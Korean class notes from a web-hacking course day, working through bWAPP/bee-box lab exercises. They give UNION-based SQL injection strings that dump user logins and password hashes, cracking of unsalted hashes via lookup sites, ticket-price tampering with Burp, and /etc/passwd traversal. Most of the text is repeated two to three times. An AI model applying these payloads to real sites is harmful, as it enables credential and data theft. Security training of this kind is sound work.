보안/웹 보안

0907 웹해킹 5일차(Application Security)

Bordercolli 2022. 9. 8. 17:34
728x90

#DB

펫샵이라는 데이터 베이스를 만들 수 있는데, 그 안에다가 테이블을 만들 수 있다. 그러면 테이블에는 고객 테이블이 있을 수 있고, 동물 테이블이 있을 수 있다. 이 동물이 어느 고객에게 입양이 됐다 이게 매치가 되고, 이 동물도 언제 우리 가게에 들어왔고, 언제 입양되고 이러한 정보들이 있을 것이다. db가 있고, 컬럼/행이 있고, 거기에 테이블이 있다. 가로줄을 레코드/ row/튜플라고 하고, 세로줄은 컬럼

메타 데이터 베이스가 있을 수 있는데, DBinformation_schma라는 것이 있다. 이러한 DB안에 다른 데이터 베이스에 대한 정보가 들어있다. 이 안에 고객 테이블, 동물 테이블 같은 정보들이 들어있다. (테이블에 대한 정보, DB에 대한 정보, 컬럼의 정보) 이런 식으로 정보들이 들어있는, 이 안에 table_name이라는 컬럼이 있다. 여기서 테이블의 정보에 대해서 조회할 수 있고, 컬럼 정보는 columns_name에서 찾아볼 수 있다.

그래서 이러한 DB구조

*Beebox 문제풀이

A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.펫샵이라는 데이터 베이스를 만들 수 있는데, 그 안에다가 테이블을 만들 수 있다. 그러면 테이블에는 고객 테이블이 있을 수 있고, 동물 테이블이 있을 수 있다. 이 동물이 어느 고객에게 입양이 됐다 이게 매치가 되고, 이 동물도 언제 우리 가게에 들어왔고, 언제 입양되고 이러한 정보들이 있을 것이다. db가 있고, 컬럼/행이 있고, 거기에 테이블이 있다. 가로줄을 레코드/ row/튜플라고 하고, 세로줄은 컬럼

메타 데이터 베이스가 있을 수 있는데, DBinformation_schma라는 것이 있다. 이러한 DB안에 다른 데이터 베이스에 대한 정보가 들어있다. 이 안에 고객 테이블, 동물 테이블 같은 정보들이 들어있다. (테이블에 대한 정보, DB에 대한 정보, 컬럼의 정보) 이런 식으로 정보들이 들어있는, 이 안에 table_name이라는 컬럼이 있다. 여기서 테이블의 정보에 대해서 조회할 수 있고, 컬럼 정보는 columns_name에서 찾아볼 수 있다.

그래서 이러한 DB구조

 

*Beebox 문제풀이

A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.메타 데이터 베이스가 있을 수 있는데, DBinformation_schma라는 것이 있다. 이러한 DB안에 다른 데이터 베이스에 대한 정보가 들어있다. 이 안에 고객 테이블, 동물 테이블 같은 정보들이 들어있다. (테이블에 대한 정보, DB에 대한 정보, 컬럼의 정보) 이런 식으로 정보들이 들어있는, 이 안에 table_name이라는 컬럼이 있다. 여기서 테이블의 정보에 대해서 조회할 수 있고, 컬럼 정보는 columns_name에서 찾아볼 수 있다.

그래서 이러한 DB구조

 

*Beebox 문제풀이

A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

